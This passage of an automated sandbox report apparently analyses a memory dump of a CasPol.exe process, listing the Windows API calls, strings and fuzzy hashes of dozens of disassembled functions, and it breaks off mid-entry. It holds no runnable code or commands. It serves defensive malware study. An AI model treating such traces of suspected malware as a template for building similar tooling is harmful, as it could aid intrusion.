                                                                                                                                                                  • RegisterClassW.USER32(?), ref: 00412428
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                                                                                                                                                                  • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00412455
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: HandleModule$ClassCreateRegisterWindow
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2678498856-0
                                                                                                                                                                  • Opcode ID: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                                                                                                  • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                                                                                                                                                                  • Opcode Fuzzy Hash: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                                                                                                  • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                                                                                                                                                                  Function 00409B32 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDlgItem.USER32(?,?), ref: 00409B40
                                                                                                                                                                  • SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00409B58
                                                                                                                                                                  • SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00409B6E
                                                                                                                                                                  • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00409B91
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: MessageSend$Item
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3888421826-0
                                                                                                                                                                  • Opcode ID: cb9c6f71d59db109bdd11c185378715e2458b2dfdf7aafdda88e0268854c6760
                                                                                                                                                                  • Instruction ID: c5475329a145d4377f6ebcab718370c73cf4573fffc80ea9acc016878d8bcf0e
                                                                                                                                                                  • Opcode Fuzzy Hash: cb9c6f71d59db109bdd11c185378715e2458b2dfdf7aafdda88e0268854c6760
                                                                                                                                                                  • Instruction Fuzzy Hash: 89F01D75A0010CBFEB019F959CC1CAF7BBDFB497A4B204475F504E2150D274AE41AA64
                                                                                                                                                                  Function 00417B5E Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00417B7B
                                                                                                                                                                  • UnlockFileEx.KERNEL32(?,00000000,?,00000000,?), ref: 00417B9B
                                                                                                                                                                  • LockFileEx.KERNEL32(?,00000001,00000000,?,00000000,?), ref: 00417BA7
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00417BB5
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$ErrorLastLockUnlockmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3727323765-0
                                                                                                                                                                  • Opcode ID: 8dd354450774e38097dcb59a2dc1954613c626237ffe04feccb939eb681cbc84
                                                                                                                                                                  • Instruction ID: 0282759007fe27108f915f617c318df1b7667033481b7feabffed058191037b6
                                                                                                                                                                  • Opcode Fuzzy Hash: 8dd354450774e38097dcb59a2dc1954613c626237ffe04feccb939eb681cbc84
                                                                                                                                                                  • Instruction Fuzzy Hash: A801F971108208BFDB219FA5DC84D9B77B8FB40308F20483AF51395050D730A944CB65
                                                                                                                                                                  Function 0040F64E Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040F673
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00007FFF,00000000,00000000,?,<item>), ref: 0040F690
                                                                                                                                                                  • strlen.MSVCRT ref: 0040F6A2
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F6B3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2754987064-0
                                                                                                                                                                  • Opcode ID: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                                                                                                                                                                  • Instruction ID: e5447571fde1e0de43d26e7f5909b1ba013d3ab3fbf9ce0dfcc5e01eb4e41d37
                                                                                                                                                                  • Opcode Fuzzy Hash: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                                                                                                                                                                  • Instruction Fuzzy Hash: 03F062B680102C7FEB81A794DC81DEB77ACEB05258F0080B2B715D2140E9749F484F7D
                                                                                                                                                                  Function 0040F6BD Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040F6E2
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,<item>), ref: 0040F6FB
                                                                                                                                                                  • strlen.MSVCRT ref: 0040F70D
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F71E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2754987064-0
                                                                                                                                                                  • Opcode ID: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                                                                                                                                                                  • Instruction ID: 4069f22fd96ae38f7b0fbed24adb75974e75abfa9f51d26af0f678a77882025e
                                                                                                                                                                  • Opcode Fuzzy Hash: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                                                                                                                                                                  • Instruction Fuzzy Hash: C8F06DB780022CBFFB059B94DCC8DEB77ACEB05254F0000A2B715D2042E6749F448BB8
                                                                                                                                                                  Function 00402FB2 Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00402FD7
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00402FF4
                                                                                                                                                                  • strlen.MSVCRT ref: 00403006
                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00403017
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharFileMultiWideWritememsetstrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2754987064-0
                                                                                                                                                                  • Opcode ID: 49e580325b1ac44ac77cea4f14661dbded7e9a4fc7592e14ed5ffb05533c48ce
                                                                                                                                                                  • Instruction ID: 6e06d661e179051d6303c1013900a6e5c00fd457a34177cb37a2705ba00c9068
                                                                                                                                                                  • Opcode Fuzzy Hash: 49e580325b1ac44ac77cea4f14661dbded7e9a4fc7592e14ed5ffb05533c48ce
                                                                                                                                                                  • Instruction Fuzzy Hash: 01F049B680122CBEFB05AB949CC9DEB77ACEB05254F0000A2B715D2082E6749F448BA9
                                                                                                                                                                  Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                                                                                                                                                                    • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                                                                                                                                                                    • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 004143A2
                                                                                                                                                                  • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                                                                                                                                                                  • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                                                                                                                                                                  • GetStockObject.GDI32(00000000), ref: 004143C6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 764393265-0
                                                                                                                                                                  • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                                                                                                  • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                                                                                                                                                                  • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                                                                                                  • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                                                                                                                                                                  Function 0040A751 Relevance: 6.0, APIs: 4, Instructions: 34timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A76D
                                                                                                                                                                  • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 0040A77D
                                                                                                                                                                  • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 0040A78C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Time$System$File$LocalSpecific
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 979780441-0
                                                                                                                                                                  • Opcode ID: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                                                                                                                                                                  • Instruction ID: f583aad53f3de4022dcae7e9f33737e8013f67213d7447df07319dea818b2b95
                                                                                                                                                                  • Opcode Fuzzy Hash: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                                                                                                                                                                  • Instruction Fuzzy Hash: 48F08272900219AFEB019BB1DC49FBBB3FCBB0570AF04443AE112E1090D774D0058B65
                                                                                                                                                                  Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(0045A808,?,00000050,?,0040155D,?), ref: 004134E0
                                                                                                                                                                  • memcpy.MSVCRT(0045A538,?,000002CC,0045A808,?,00000050,?,0040155D,?), ref: 004134F2
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                                                                                                                                                                  • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$DialogHandleModuleParam
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1386444988-0
                                                                                                                                                                  • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                                                                                                  • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                                                                                                                                                                  • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                                                                                                  • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                                                                                                                                                                  Function 00411D08 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00411D71
                                                                                                                                                                  • InvalidateRect.USER32(?,00000000,00000000), ref: 00411DC1
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InvalidateMessageRectSend
                                                                                                                                                                  • String ID: d=E
                                                                                                                                                                  • API String ID: 909852535-3703654223
                                                                                                                                                                  • Opcode ID: d50188de171b89ef93dcf19ee585c83eb13d29586f1846fcb2bff02c85403588
                                                                                                                                                                  • Instruction ID: 9534a32422cce1c6391a187da628b0196a645ea69cbd0f5c6bc65931d7846800
                                                                                                                                                                  • Opcode Fuzzy Hash: d50188de171b89ef93dcf19ee585c83eb13d29586f1846fcb2bff02c85403588
                                                                                                                                                                  • Instruction Fuzzy Hash: 7E61E9307006044BDB20EB658885FEE73E6AF44728F42456BF2195B2B2CB79ADC6C74D
                                                                                                                                                                  Function 0040F75C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcschr.MSVCRT ref: 0040F79E
                                                                                                                                                                  • wcschr.MSVCRT ref: 0040F7AC
                                                                                                                                                                    • Part of subcall function 0040AA8C: wcslen.MSVCRT ref: 0040AAA8
                                                                                                                                                                    • Part of subcall function 0040AA8C: memcpy.MSVCRT(00000000,?,00000000,00000000,?,0000002C,?,0040F7F4,?,?,?,?,004032AB,?), ref: 0040AACB
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcschr$memcpywcslen
                                                                                                                                                                  • String ID: "
                                                                                                                                                                  • API String ID: 1983396471-123907689
                                                                                                                                                                  • Opcode ID: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                                                                                                                                                                  • Instruction ID: b5ec2b97dc3a1d34b4ae52474db4a85f3d32b900c8044ec90cdce640e07fed14
                                                                                                                                                                  • Opcode Fuzzy Hash: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                                                                                                                                                                  • Instruction Fuzzy Hash: 7C315532904204ABDF24EFA6C8419EEB7B4EF44324F20457BEC10B75D1DB789A46CE99
                                                                                                                                                                  Function 0040BFF3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                                                                                                  • _memicmp.MSVCRT ref: 0040C00D
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,*.*,0040C2BF,00000000), ref: 0040C024
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FilePointer_memicmpmemcpy
                                                                                                                                                                  • String ID: URL
                                                                                                                                                                  • API String ID: 2108176848-3574463123
                                                                                                                                                                  • Opcode ID: 0ffae9aaa7e8776105f4b8355cfdff3a17deb021c318058ed5e09a60dc4caa80
                                                                                                                                                                  • Instruction ID: e2f67ed442a0be3002cd5c838a3b557e7d557c6bd05ddcbc6cfa09d4dad31ce1
                                                                                                                                                                  • Opcode Fuzzy Hash: 0ffae9aaa7e8776105f4b8355cfdff3a17deb021c318058ed5e09a60dc4caa80
                                                                                                                                                                  • Instruction Fuzzy Hash: 03110271600204FBEB11DFA9CC45F5B7BA9EF41388F004166F904AB291EB79DE10C7A9
                                                                                                                                                                  Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040A398
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintfmemcpy
                                                                                                                                                                  • String ID: %2.2X
                                                                                                                                                                  • API String ID: 2789212964-323797159
                                                                                                                                                                  • Opcode ID: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                                                                                                  • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                                                                                                                                                                  • Opcode Fuzzy Hash: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                                                                                                  • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                                                                                                                                                                  Function 0040F9B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintf
                                                                                                                                                                  • String ID: %%-%d.%ds
                                                                                                                                                                  • API String ID: 3988819677-2008345750
                                                                                                                                                                  • Opcode ID: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                                                                                                                                                                  • Instruction ID: 7541af853baca77dfc804340e5f0ab0fe899c5989b891af63cf45e557cb41de3
                                                                                                                                                                  • Opcode Fuzzy Hash: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                                                                                                                                                                  • Instruction Fuzzy Hash: B801DE71200204BFD720EE59CC82D5AB7E8FB48308B00443AF846A7692D636E854CB65
                                                                                                                                                                  Function 0040E758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040E770
                                                                                                                                                                  • SendMessageW.USER32(F^@,0000105F,00000000,?), ref: 0040E79F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: MessageSendmemset
                                                                                                                                                                  • String ID: F^@
                                                                                                                                                                  • API String ID: 568519121-3652327722
                                                                                                                                                                  • Opcode ID: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                                                                                                                                                                  • Instruction ID: 5049a961280a3e8282645b70ff0f7bf8ff78c54eb6baa8beabb6daf17925e322
                                                                                                                                                                  • Opcode Fuzzy Hash: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                                                                                                                                                                  • Instruction Fuzzy Hash: A701A239900204ABEB209F5ACC81EABB7F8FF44B45F008429E854A7291D3349855CF79
                                                                                                                                                                  Function 004018DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PlacementWindowmemset
                                                                                                                                                                  • String ID: WinPos
                                                                                                                                                                  • API String ID: 4036792311-2823255486
                                                                                                                                                                  • Opcode ID: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                                                                                                                                                                  • Instruction ID: 942d740d8c3c01bede0812328a3a4706cce13fdf2e849e9dfea5930b7654417c
                                                                                                                                                                  • Opcode Fuzzy Hash: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                                                                                                                                                                  • Instruction Fuzzy Hash: D4F096B0600204EFEB04DF55D899F6A33E8EF04701F1440B9F909DB1D1E7B89A04C729
                                                                                                                                                                  Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,00412966,/deleteregkey,/savelangfile), ref: 004125C3
                                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 004125E7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??3@DeleteObject
                                                                                                                                                                  • String ID: r!A
                                                                                                                                                                  • API String ID: 1103273653-628097481
                                                                                                                                                                  • Opcode ID: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                                                                                                  • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                                                                                                                                                                  • Opcode Fuzzy Hash: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                                                                                                  • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                                                                                                                                                                  Function 0040DCE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                                                                  • wcsrchr.MSVCRT ref: 0040DCE9
                                                                                                                                                                  • wcscat.MSVCRT ref: 0040DCFF
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileModuleNamewcscatwcsrchr
                                                                                                                                                                  • String ID: _lng.ini
                                                                                                                                                                  • API String ID: 383090722-1948609170
                                                                                                                                                                  • Opcode ID: d415c57d84eb2c5e7c8364d47a353e5cf76fbd17fa45f1fd58641194e3ec22f3
                                                                                                                                                                  • Instruction ID: 003e7a9acac466aac22365d7a2b75ab102816a5e64793edac74c8fca87dba5cc
                                                                                                                                                                  • Opcode Fuzzy Hash: d415c57d84eb2c5e7c8364d47a353e5cf76fbd17fa45f1fd58641194e3ec22f3
                                                                                                                                                                  • Instruction Fuzzy Hash: CEC0129654561430F51526116C03B4E12585F13316F21006BFD01340C3EFAD5705406F
                                                                                                                                                                  Function 0042B9BD Relevance: 5.2, APIs: 4, Instructions: 181COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000000,?), ref: 0042BA5F
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?), ref: 0042BA98
                                                                                                                                                                  • memset.MSVCRT ref: 0042BAAE
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000000,?,?,?,?,?,?,?), ref: 0042BAE7
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 438689982-0
                                                                                                                                                                  • Opcode ID: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                                                                                                                                                                  • Instruction ID: 797e1fd24865db6de4a95defd5ca955254a0dec7c2ff798398e4890fb9874305
                                                                                                                                                                  • Opcode Fuzzy Hash: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                                                                                                                                                                  • Instruction Fuzzy Hash: 1B51A2B5A00219EBDF14DF55D882BAEBBB5FF04340F54806AE904AA245E7389E50DBD8
                                                                                                                                                                  Function 0040E820 Relevance: 5.1, APIs: 4, Instructions: 70COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$memset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1860491036-0
                                                                                                                                                                  • Opcode ID: 96af4030734a5e2f6ef23c2ae6277f6dabdb1784b135b246f31e93988d402875
                                                                                                                                                                  • Instruction ID: 7dda0de82ffecb18951b1be6aadeef514c87807746e1e94fbb8d74dd8fa57bec
